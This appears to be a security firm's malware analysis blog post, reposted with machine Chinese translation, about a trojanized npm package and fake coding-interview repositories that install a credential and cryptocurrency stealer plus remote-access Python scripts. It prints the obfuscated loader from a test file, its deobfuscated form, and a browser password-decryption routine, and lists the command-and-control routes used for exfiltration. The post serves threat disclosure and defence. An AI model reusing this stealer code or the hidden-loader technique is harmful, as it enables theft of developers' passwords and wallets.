Fake Developer Jobs Laced With Malware

Fake Developer Jobs Laced With Malware

Phylum continues to discover malware polluting open-source ecosystems. In this blog post, we take a deep-dive into an npm package trying to masquerade as code profiler which actually installs several malicious scripts including a cryptocurrency and credential stealer. Curiously, the attacker attempted to hide the malicious code in a test file, presumably thinking that no one would bother to look for malware in test code. Along the way, we point out critical mistakes made by the attacker that helped to link this package to some suspect repositories on GitHub that Phylum is continuing to investigate.
Phylum 继续发现污染开源生态系统的恶意软件。在这篇博文中,我们深入探讨了一个 npm 试图伪装成代码分析器的包,该包实际上安装了几个恶意脚本,包括加密货币和凭据窃取程序。奇怪的是,攻击者试图将恶意代码隐藏在测试文件中,大概认为没有人会费心在测试代码中寻找恶意软件。在此过程中,我们指出了攻击者所犯的严重错误,这些错误有助于将此软件包链接到 GitHub 上的一些可疑存储库,Phylum 正在继续调查这些存储库。

Update 1: 21 Feb 2024 – Phylum has discovered evidence that could indicate that the malware discussed in this post may be part of a social engineering campaign against developers. Details below.
更新 1:2024 年 2 月 21 日 – Phylum 发现了可能表明本文中讨论的恶意软件可能是针对开发人员的社会工程活动的一部分的证据。详情如下。
Update 2: 21 Feb 2024 – The actor appears to be changing tactics to adapt to the npm package takedowns. Details below.
更新 2:2024 年 2 月 21 日 – 演员似乎正在改变策略以适应 npm 包裹下架。详情如下。
Update 3: 22 Feb 2024 – New research has uncovered a new tactic of self-hosting the malicious npm dependency along with a likely nexus with North Korean state-sponsored malware similar to recent social engineering campaigns against job-seeking developers. Details below.
更新 3:2024 年 2 月 22 日 – 新的研究发现了一种新的策略,即自托管恶意 npm 依赖项,以及可能与朝鲜国家支持的恶意软件的联系,类似于最近针对求职开发人员的社会工程活动。详情如下。
Update 4: 23 Feb 2024 – New repository on GitHub with a malicious dependency hosted from npm.mave.finance. Details below.
更新 4:2024 年 2 月 23 日 – GitHub 上的新存储库,其中包含从 npm.mave.finance .详情如下。

Spoofing a legitimate package

On 5 Feb 2024, an npm user named nino1234 published execution-time-async version 1.4.1. A cursory inspection of the code shows the similarity between this package and execution-time version 1.4.1 which is a “node.js utility to measure execution time in code” and which has over 27K weekly downloads. (As an aside, Phylum has observed a noticeable uptick in the use of this tactic — adding plausible sounding words to malicious package names, also known as combosquatting — as the popularity of typosquatting wanes.) But, lurking in a seemingly innocuous test file lies an attack against the unsuspecting developer.
2024 年 2 月 5 日,一个名为 nino1234 1.4.1 npm 的用户发布了 execution-time-async 版本。粗略地检查一下代码,就会发现这个包和 execution-time 1.4.1版的相似性,1.4.1版是一个“node.js实用程序,用于测量代码中的执行时间”,每周下载量超过27K。(顺便说一句,随着拼写错误抢注的流行程度减弱,Phylum 观察到这种策略的使用明显增加——在恶意包名称中添加听起来合理的单词,也称为组合抢注。但是,潜伏在一个看似无害的测试文件中,是对毫无戒心的开发人员的攻击。

The trojanized code in execution-time-async begins in index.js, the entry point specified in package.json by requiring a putative test file similarly named to the legitimate test file ./test/index-text.js in execution-time.
中的木马代码 execution-time-async 以 index.js 开头,这是 中指定的 package.json 入口点,需要一个与 中的 execution-time 合法测试文件名称相似的推定测试文件 ./test/index-text.js 。

"use strict";

const prettyHrtime = require('pretty-hrtime');
const getConfigs = require('./test/index-config-text');

const namedPerformances = {};
const defaultName = 'default';

const performance = (logInstance) => {
  return {
    start: (name) => {
      name = name || defaultName;
      namedPerformances[name] = {
        startAt: process.hrtime(),
    config: () => {
    stop: (name) => {
      name = name || defaultName;

index.js in the malicious package execution-time-async on npm
index.js 在恶意包 execution-time-async 中 npm

When getConfigs() is called later, ./test/index-config-text.js executes its contents. The code in that file is over 450 lines of obfuscated code, starting with this:
稍后调用时 getConfigs() , ./test/index-config-text.js 执行其内容。该文件中的代码是超过 450 行混淆代码,从以下代码开始:

const t = "base64",
  c = "utf8",
  r = (r) => ((s1 = r.slice(1)), Buffer.from(s1, t).toString(c)),
  e = (r, e) => {
    let E = Buffer.from(r, t);
    const s = E.length;
    let F = 0,
      a = new Uint8Array(s);
    for (ii = 0; ii < s; ii++) {
      F = 3 & ii;
      let t = e[o](F);
      a[ii] = 255 & (E[ii] ^ t);
    return ((t, c) => Buffer.from(t).toString(c))(a, c);
  E = (t) => e(t, c),
  o = r("2Y2hhckNvZGVBdA"),
  s = E("BgUKUQERVQ"),
  a = E("FgYfSAEb"),
  i = "request",
  $ = E("BRgHTBMbFFU"),
  n = E("ARkWXBwG"),
  l = E("HRsLXREdFA"),
  R = E("HRsVTBsVC10"),
  W = E("AQ0WXQ"),
  V = require("os"),
  U = require("path"),
  Q = require(s),
  g = require(a),
  h = require(i),
  w = require("child_process")["exec"],
  x = V[R](),
  f = V[$](),
  y = V[l](),
  I = V[n](),
  G = V[W](),
  S = require("fs");

First lines of code in ./test/index-config-text.js in execution-time-async
第一行代码 ./test/index-config-text.js in execution-time-async

At face value, this already looks shady – a string "request" and another requiring ["child_process"]["exec"] suggests reaching out to a remote source for some file to be immediately executed. Moreover, the obscured strings in proximity to string manipulating functions is always indicative of hiding something, and usually with sinister intent. As with all obfuscated code, the deobfuscation routines are packaged with the code, and so this one unwinds to produce
从表面上看,这已经看起来很阴暗了——一个字符串 "request" 和另一个要求 ["child_process"]["exec"] 建议联系远程源以立即执行某些文件。此外,靠近字符串操作函数的模糊字符串总是表明隐藏了某些东西,并且通常具有险恶的意图。与所有混淆代码一样,反混淆例程与代码打包在一起,因此这个例程展开以生成

const os = require("os"),
  path = require("path"),
  sqlite3 = require("sqlite3"),
  crypto = require("crypto"),
  request = require("request"),
  exec = require("child_process")["exec"],
  hostname = os.hostname(),
  platform = os.platform(),
  homedir = os.homedir(),
  tmpdir = os.tmpdir(),
  osType = os.type(),
  fs = require("fs");

Same code as above, but deobfuscated

Later, a snippet of the deobfuscated code reveals some of its intent, namely to steal the victim’s login credentials and passwords from a variety of browsers:

const K = "/AppData/Local/Microsoft/Edge/User Data",
  P = (t, c) => {
    result = "";
    try {
      const r = `${t}`,
        e = require(`${homedir}/store.node`);
      if (osType != "Windows_NT") return;
      const E = "SELECT * FROM logins",
        s = `${H("~/")}${c}`;
      let F = path.join(s, "Local State");
      fs.readFile(F, "utf-8", (t, c) => {
        if (!t) {
          (mkey = JSON.parse(c)),
            (mkey = mkey.os_crypt.encrypted_key),
            (mkey = ((t) => {
              var c = atob(t),
                r = new Uint8Array(c.length);
              for (let t = 0; t < c.length; t++) r[t] = c.charCodeAt(t);
              return r;
          try {
            const t = e.CryptUnprotectData(mkey.slice(5));
            for (ii = 0; ii <= 200; ii++) {
              const c = 0 === ii ? "Default" : `Profile ${ii}`,
                e = `${s}/${c}/Login Data`,
                o = `${s}/t${c}`;
              if (!j(e)) continue;
              const F = `${r}_${ii}_Profile`;
              fs.copyFile(e, o, (c) => {
                try {
                  const c = new sqlite3.Database(o);
                  c.all(E, (r, e) => {
                    var E = "";
                    r ||
                      e.forEach((c) => {
                        var r = c.origin_url,
                          e = c.username_value,
                          o = c.password_value;
                        try {
                          "v" === o.subarray(0, 1).toString() &&
                            ((iv = o.subarray(3, 15)),
                            (cip = o.subarray(15, o.length - 16)),
                            cip.length &&
                              ((mmm = crypto.createDecipheriv("aes-256-gcm", t, iv).update(cip)),
                              (E = `${E}W:${r} U: ${e} P:${mmm.toString(
                        } catch (t) {}
                      fs.unlink(o, (t) => {}),
                      Ut(F, E);
                } catch (t) {}
          } catch (t) {}
    } catch (t) {}
  ot = [
      "/Library/Application Support/Google/Chrome",
      "/AppData/Local/Google/Chrome/User Data",
      "/Library/Application Support/BraveSoftware/Brave-Browser",
      "/AppData/Local/BraveSoftware/Brave-Browser/User Data",
      "/Library/Application Support/com.operasoftware.Opera",
      "/AppData/Roaming/Opera Software/Opera Stable/User Data"
  st = "Local Extension Settings", //Local Extension Settings
  Bt = "solana_id.txt";

Stealer supports multiiple browsers
Stealer 支持多用途浏览器

Python scripts Python 脚本

After stealing browser passwords, extension data from cryptocurrency extensions, and ~/.config/solana/id.json, a Python script is downloaded from a hardcoded IP address and launched which triggered several other downloads.
在窃取浏览器密码、来自加密货币扩展的扩展数据以及 ~/.config/solana/id.json Python 脚本后,从硬编码的 IP 地址下载并启动,从而触发了其他几次下载。

const d = (t) => e(t, c),
  X = "",
  C = d("ER0UVhQZAw"),

Hardcoded server IP address and port that serves malicious Python scripts
提供恶意 Python 脚本的硬编码服务器 IP 地址和端口

Phylum grabbed copies of these script while the server was up and found that a copy of Python is included in case the victim only does Javascript development. Some highlights from these scripts:
Phylum 在服务器启动时抓取了这些脚本的副本,并发现包含 Python 的副本,以防受害者只进行 Javascript 开发。这些脚本的一些亮点:


This script bootstraps the target environment for the next script. It ensures requests is installed, downloads ~/.n2/pay and ~/.n2/bow, and launches them. ~/.n2/bow is skipped at this time if running on Mac OS.
此脚本引导下一个脚本的目标环境。它确保 requests 安装 ~/.n2/pay 、下载和 ~/.n2/bow 启动它们。 ~/.n2/bow 如果在 Mac OS 上运行,此时将跳过。


This script connects to the same host but using TCP sockets to port 3001 instead of HTTP to port 3000. It allows the attacker to remotely control the victim’s computer using a simple JSON protocol with binary length prefixes.
此脚本连接到同一主机,但使用 TCP 套接字连接到端口 3001,而不是使用 HTTP 连接到端口 3000。它允许攻击者使用带有二进制长度前缀的简单 JSON 协议远程控制受害者的计算机。

Features include: 功能包括:

  • Run arbitrary commands 运行任意命令
  • Delete itself (only this script file and not any of the other files that came with it)
  • Download and launch ~/.n2/bow
    下载并启动 ~/.n2/bow
  • Upload arbitrary files and directories to FTP
    将任意文件和目录上传到 FTP
  • Terminate Chrome and Brave
    终止 Chrome 和 Brave
  • Download and launch ~/.n2/adc
    下载并启动 ~/.n2/adc
  • Return the locations of directories that might be useful for other commands

There is also commented out code for stealing the user’s clipboard.


This script is just another browser secret stealer, but this time in Python.
这个脚本只是另一个浏览器秘密窃取程序,但这次是在 Python 中。


This script installs and configures AnyDesk on Windows, or at least it would if the file weren’t missing from the server. Even though this is a Python script and Python is perfectly capable of editing text files, it generates and executes a PowerShell script to update the AnyDesk config. The credentials are hardcoded, and the connection information is sent to /keys.
此脚本在Windows上安装和配置AnyDesk,或者至少在服务器中没有丢失文件的情况下安装和配置AnyDesk。尽管这是一个 Python 脚本,并且 Python 完全能够编辑文本文件,但它会生成并执行 PowerShell 脚本来更新 AnyDesk 配置。凭据是硬编码的,连接信息将发送到 /keys 。

Version 1.4.2 版本 1.4.2

As a final observation about execution-time-async, the difference between the original version 1.4.1 and the update to version 1.4.2 on 13 Feb 2024 is slight. In ./test/index-config-text.js the author changes the hardcoded IP address and port for the socket that the server is listening for the malware to reach out to:
最后, execution-time-async 原始版本 1.4.1 和 2024 年 2 月 13 日更新到 1.4.2 版本之间的差异很小。在作者中 ./test/index-config-text.js ,更改了服务器正在侦听的套接字的硬编码 IP 地址和端口,以便恶意软件访问:



@@ -49,11 +49,11 @@

 let u;
 const d = (t) => e(t, c),
-  X = "",
+  X = "",
   C = d("ER0UVhQZAw"),
   H = (t) =>
     t.replace(/^~([a-z]+|\/)/, (t, c) => ("/" === c ? y : `${U[C](y)}/${c}`)),
   Y = "slJCNQ5",
   D = "AgYPTBAyD1QQJx9WFg",

Changing the server IP address
更改服务器 IP 地址

Initially, we did not think that this amounted to anything spectacular. That is, until we began to investigate who might be behind this attack.

Identifying the author 识别作者

As we were analyzing the obfuscated code, we ran across some inline comments that suggested a lead on attributing who might be behind this attack.

		for (let r = 0; r < 200; r++) {
      const o = `${t}/${0 === r ? v : `${O} ${r}`}/${st}`; //Profile 1/Local Extension Settings

      // /Users/ninoacuna/Library/Application Support/Google/Chrome/Profile 158/Local Extension Settings
      for (let t = 0; t < At.length; t++) {
					const t = d(b),
            c = "writeFileSync",
            r = "get",
            e = `${X}${t}`,
            E = `${y}${M}`; // /Users/ninoacuna/.npl
          // console.log('e', e);
          let o = `${Vt}3 "${E}"`; //python3 "/Users/ninoacuna/.npl"
          // console.log('e---',E )

/Users/ninoacuna/.npl in the inline comments
/Users/ninoacuna/.npl 在内联注释中

It isn’t clear why these comments were left in the code, and it seemed unlikely to actually tie anything together, but we searched GitHub for Nino Acuna and found a user who goes by binaryExDev
目前尚不清楚为什么这些评论会留在代码中,而且似乎不太可能真正将任何东西联系在一起,但我们在 GitHub 上搜索了 Nino Acuna,并找到了一位路过 binaryExDev 的用户

Fake Developer Jobs Laced With Malware
binaryExDev‘s GitHub page  binaryExDev 的 GitHub 页面

Besides the possible typos in some of the package names, the recent File-Uploader package caught our attention. The README for that package is a title only, so that doesn’t help to figure out what this package is up to. With a name like File-Uploader we expected to find server and client code to move files across a network, and we did. Looking through the commit history, we first noticed that all 53 commits to that repo were authored and committed by Nino Acuna. And then we stumbled onto this diff from commit cd0cd89 on 12 Feb 2024:
除了一些软件包名称中可能存在的拼写错误外,最近的 File-Uploader 软件包引起了我们的注意。该包的 README 只是一个标题,因此这无助于弄清楚此包的用途。我们 File-Uploader 期望找到服务器和客户端代码来通过网络移动文件,我们做到了。查看提交历史记录,我们首先注意到该存储库的所有 53 个提交都是由 Nino Acuna 编写和提交的。然后我们在 2024 年 2 月 12 日偶然发现了这个与提交 cd0cd89 的差异:

Fake Developer Jobs Laced With Malware
Diff of a commit in File-Uploader changing socket addresses to match execution-time-async
提交在更改套接字地址以匹配 execution-time-async 时 File-Uploader 的差异

The day before the npm package execution-time-async updated the server IP addresses in version 1.4.2, this File-Uploader repository changed its host IP addresses to the exact same IP and port. Moreover, it’s not just the IP addresses that match. The routes in src/routes/web.js align with the requests made by the malicious index-config-text.js to /client /pdown /uploads /keys.
在 npm 包 execution-time-async 更新版本 1.4.2 中的服务器 IP 地址的前一天,此 File-Uploader 存储库将其主机 IP 地址更改为完全相同的 IP 和端口。此外,匹配的不仅仅是 IP 地址。这些路由 src/routes/web.js 与恶意 index-config-text.js /client /pdown /uploads /keys 者向 .

let routes = app => {
  router.get("/", homeController.getHome);
  // client
  router.get("/client", clientController.getClient);
  // payload
  router.get("/payload", clientController.getPayload);
  // brow
  router.get("/brow", clientController.getBrow);
  router.get("/adc", clientController.getAdc);
  router.get("/pdown", clientController.getP)
  router.post("/multiple-upload", uploadController.multipleUpload);
  router.post("/uploads", upload.array('multi_file'), uploadController.dataUpload);
  router.post("/keys", keyController.keyUpload);

  return app.use("/", router);
  • /client is used by index-config-text.js to download a Python second stage that gets saved as ~/.npl.
    /client 用于 index-config-text.js 下载 Python 第二阶段,该阶段另存为 ~/.npl 。
  • /payload is used by ~/.npl to download another Python script ~/.n2/pay.
    /payload 用于 ~/.npl 下载另一个 Python 脚本 ~/.n2/pay 。
  • /brow is used by both ~/.npl and ~/.pay to download another Python script ~/.n2/bow.
    /brow 被两者 ~/.npl 使用并 ~/.pay 下载另一个 Python 脚本 ~/.n2/bow 。
  • /adc is used by ~/.n2/pay to download another Python script ~/.n2/adc.
    /adc 用于 ~/.n2/pay 下载另一个 Python 脚本 ~/.n2/adc 。
  • /pdown is used by index-config-text.js to download a copy of Python 3.11 for Windows into ~/.pyp in case the victim doesn’t already have one.
    /pdown 用于 index-config-text.js 下载适用于 Windows 的 Python 3.11 副本, ~/.pyp 以防受害者还没有副本。
  • /multiple-upload doesn’t seem to be used.
    /multiple-upload 似乎没有被使用。
  • /uploads is used by index-config-text.js to exfiltrate stolen data related to crypto currency.
    /uploads 用于 index-config-text.js 泄露与加密货币相关的被盗数据。
  • /keys is used by index-config-text.js and ~/.n2/adc and ~/.n2/bow and ~/.n2/pay to exfiltrate credentials.
    /keys 由 index-config-text.js 和 和 ~/.n2/bow 和 ~/.n2/adc 用于 ~/.n2/pay 泄露凭据。

At this moment, the server implementation in File-Uploader is unfinished, but we suspect that this attack is a work in progress. While drafting this blog, Phylum’s automated system alerted us to other, similar packages named data-time-utils and login-time-utils were published to npm by a user named niacuna02. And, moments ago, the user ntekyz on npm published mongodb-connection-utils and mongodb-execution-utils which are nearly identical to the packages in this post. Phylum immediately reported these as malware, and we continue to actively monitoring this situation.
目前,服务器实现 File-Uploader 尚未完成,但我们怀疑此攻击正在进行中。在起草这篇博客时,Phylum 的自动化系统提醒我们注意其他类似的软件包,这些软件包 npm 由 data-time-utils login-time-utils 一个名为 niacuna02 .而且,不久前,用户 ntekyz 发布了 npm mongodb-connection-utils mongodb-execution-utils 与本文中的软件包几乎相同的内容。Phylum 立即将这些报告为恶意软件,我们将继续积极监控这种情况。

Following the followers 关注追随者

As a final observation, we looked into two accounts that binaryExDev follows and found mave-finance-org which contains two trojanized template repositories – auth-playground and nextjs-playground. The first package lists mongodb-execution-utils as a dependency (up until a moments ago the dependency was execution-time-async) so that the malicious code doesn’t have to be present in the package itself.
作为最后的观察结果,我们研究了下面的两个帐户, binaryExDev 发现 mave-finance-org 它们包含两个木马模板存储库 – auth-playground 和 nextjs-playground .第一个包列为 mongodb-execution-utils 依赖项(直到不久前依赖项还是 execution-time-async 依赖项),因此恶意代码不必存在于包本身中。

Update 1: 21 Feb 2024 – Further investigation into mave-finance-org/auth-playground revealed that over a dozen developers forked this repository – which alone is nothing unusual or nefarious. However, some of these forks are renamed things like auth-demo or auth-challenge indicating that perhaps these developers were led to believe that this repo was part of a coding challenge, or even a job interview. At the moment there are six pull requests which offer putative improvements to the code base, but these have all been summarily closed without comment. If the motive is to deliver the cryptocurrency and credential stealing malware to the developer (now in the mongodb-execution-utils dependency), then it is a fait accompli and the pull requests will likely never be merged.
更新 1:2024 年 2 月 21 日 – 进一步调查 mave-finance-org/auth-playground 显示,有十几名开发人员分叉了这个存储库——仅此一项就没有什么不寻常或邪恶的。然而,其中一些分叉被重命名为 or auth-demo auth-challenge 表明这些开发人员可能被引导相信这个 repo 是编码挑战的一部分,甚至是工作面试的一部分。目前有六个拉取请求对代码库进行了假定的改进,但这些请求都被立即关闭,没有发表评论。如果动机是将加密货币和凭据窃取恶意软件交付给开发人员(现在处于 mongodb-execution-utils 依赖状态),那么这是既成事实,拉取请求可能永远不会被合并。

Update 2: 21 Feb 2024 – Several changes in tactics throughout today. First, the GitHub repository has moved to banus-finance-org/auth-sandbox. Second, the malicious obfuscated code has been copied directly into the repo, and this obviates the need for the dependency on an npm package to hold the malicious code. Thus, the third change has been to eliminate the dependency from the package.json dependency list. We presume that npm package take downs necessitated this shift.
更新 2:2024 年 2 月 21 日 – 今天战术发生了一些变化。首先,GitHub 存储库已移至 banus-finance-org/auth-sandbox .其次,恶意混淆代码已直接复制到存储库中,这消除了对 npm 包的依赖来保存恶意代码的需要。因此,第三个变化是从依赖项列表中删除 package.json 依赖项。我们认为 npm ,包裹的删除需要这种转变。

We continued pursuing this under the assumption that the targets for this activity are job-seeking software developers, and to this end we found this job posting:

Fake Developer Jobs Laced With Malware
Job posting for a software developer at Banus Finance
Banus Finance 软件开发人员的职位发布

It is not at all clear at this time whether Banus Finance is a legitimate company that a bad actor is masquerading as or if it is an elaborate social engineering scheme. Either way, this actor seems determined to continue attacking software developers in order to steal their cryptocurrency and other credentials. Developers should remain vigilant to carefully vet any source code that strangers on the Internet insist that you download.
目前尚不清楚Banus Finance是否是一家合法公司,坏人正在伪装成一家公司,或者它是否是一个精心策划的社会工程计划。无论哪种方式,该行为者似乎都决心继续攻击软件开发人员,以窃取他们的加密货币和其他凭据。开发人员应保持警惕,仔细审查互联网上的陌生人坚持要您下载的任何源代码。

Update 3: 22 Feb 2024 – Up until recently, this actor has tried to use npm to host the malicious dependency, which as of this update is mongodb-execution-utils. However, their efforts have thwarted by repeated take downs of their malicious packages, and so they appear to have taken to hosting their own. In an .npmrc file, they have added a registry hxxp://npm.mave.finance (a callback to the first fake company from where they were previously operating):
更新 3:2024 年 2 月 22 日 – 直到最近,该参与者还试图用于 npm 托管恶意依赖项,截至此更新,该依赖项是 mongodb-execution-utils .然而,他们的努力因反复删除他们的恶意包而受挫,因此他们似乎已经开始托管自己的包。在一个 .npmrc 文件中,他们添加了一个注册表 hxxp://npm.mave.finance (对他们之前运营的第一家假公司的回调):

Fake Developer Jobs Laced With Malware
Self-hosting their malicious npm package
自托管其恶意 npm 包

(As an aside, observe also that the GitHub repository has moved to Dexbanus-org/live-coding-sandbox, again because of GitHub’s vigilance to take down these malicious repositories.)
(顺便说一句,还要注意 GitHub 存储库已移至 Dexbanus-org/live-coding-sandbox ,这也是因为 GitHub 对删除这些恶意存储库保持警惕。

Adding a registry has the effect that when the package installation looks to install all the dependencies listed in package.json on npmjs.orgmongodb-execution-utils will not be found. So, it will then turn to the registry in .npmrc where mongodb-execution-utils is hosted and will dutifully install the malicious package. This new evasive tactic effectively takes away any oversight or control that the npm security team may have had, and it should be viewed as a escalation in the threat this attack poses.
添加注册表的效果是,当软件包安装查找安装 package.json 时, mongodb-execution-utils 将找不到 中 npmjs.org 列出的所有依赖项。因此,它将转向托管 .npmrc 位置 mongodb-execution-utils 的注册表,并尽职尽责地安装恶意包。这种新的规避策略有效地消除 npm 了安全团队可能拥有的任何监督或控制,它应该被视为这种攻击所构成的威胁的升级。

The Phylum research team also received word from Palo Alto Network’s Unit 42 that the malicious, obfuscated JavaScript on which this blog post is based coincided with BeaverTail from their own independent research into an ongoing North Korean job-seeking campaign against software developers.
Phylum 研究团队还从 Palo Alto Network 的 Unit 42 收到消息,称这篇博文所基于的恶意、混淆的 JavaScript 与 BeaverTail 的不谋而合,来自他们自己的独立研究,该研究涉及正在进行的针对软件开发人员的朝鲜求职活动。

Moreover, some software developers who were taken in by these actors have contacted Phylum to thank us for raising awareness of this attack and preventing them from becoming a victim:
此外,一些被这些行为者收留的软件开发人员已经联系了 Phylum,感谢我们提高了对这种攻击的认识并防止他们成为受害者:

“…they told me that it is for live coding interview software which i have to install it but before i do it i found your warning and also read article then i resend email but there is no response from there side. well thank you sir for saving me and lots of job seekers…Thank You Again Sir.”

Update 4: 23 Feb 2024 – The attackers now host the attack from mave-finance/next-assessment. The malicious dependency is json-mock-config-server which is not listed in the npm registry, but rather is served from npm.mave.finance as before, the registry listed in .npmrc.
更新 4:2024 年 2 月 23 日 – 攻击者现在从 mave-finance/next-assessment .恶意依赖项未 json-mock-config-server 在 npm 注册表中列出,而是像以前一样从 npm.mave.finance 中列出的注册表提供 .npmrc 。

Fake Developer Jobs Laced With Malware
package.json with the malicious dependency highlighted
package.json 突出显示恶意依赖项

The developer name has changed to Luis Caneiro, and the README.md is more polished to better disguise the malicious intent as a coding interview:
开发者名称已更改为 Luis Caneiro,并且 README.md 更加精致,以更好地将恶意意图伪装为编码采访:

Fake Developer Jobs Laced With Malware
Fake coding interview instructions in README.md
假编码面试说明 README.md

Again, as before, the malicious code hidden in the dependency json-mock-config-server gets called innocuously, but this time in the file ./pages/api/ballots
同样,和以前一样,隐藏在依赖项 json-mock-config-server 中的恶意代码被无害地调用,但这次是在文件中 ./pages/api/ballots

Fake Developer Jobs Laced With Malware
Calling mockJsonConfig() invokes the malicious code.
调用会调用 mockJsonConfig() 恶意代码。

Overall, the code is cleaner, stripped down to only the essentials to provide a plausible coding interview, and much less likely to be suspected by a prospective job-seeker.

Conclusion 结论

Phylum continues to investigate this File-Uploader GitHub repository and connections to other GitHub repositories and users such as mave-finance-orgIt is not yet clear whether this is the work of a single actor or a group of actors. Based on independent, corroborating research, it now appears that this is the work of state-sponsored North Korean activity. More than ever, it is important for both individual developers as well as software development organizations to remain vigilant against these attacks in open-source code.
Phylum 继续调查此 File-Uploader GitHub 存储库以及与其他 GitHub 存储库和用户(如 mave-finance-org .目前尚不清楚这是单个演员还是一组演员的作品。根据独立的、确凿的研究,现在看来,这是国家支持的朝鲜活动所为。对于个人开发人员和软件开发组织来说,对开源代码中的这些攻击保持警惕比以往任何时候都更加重要。

原文始发于phylum:Fake Developer Jobs Laced With Malware

版权声明:admin 发表于 2024年2月26日 下午11:49。
转载请注明:Fake Developer Jobs Laced With Malware | CTF导航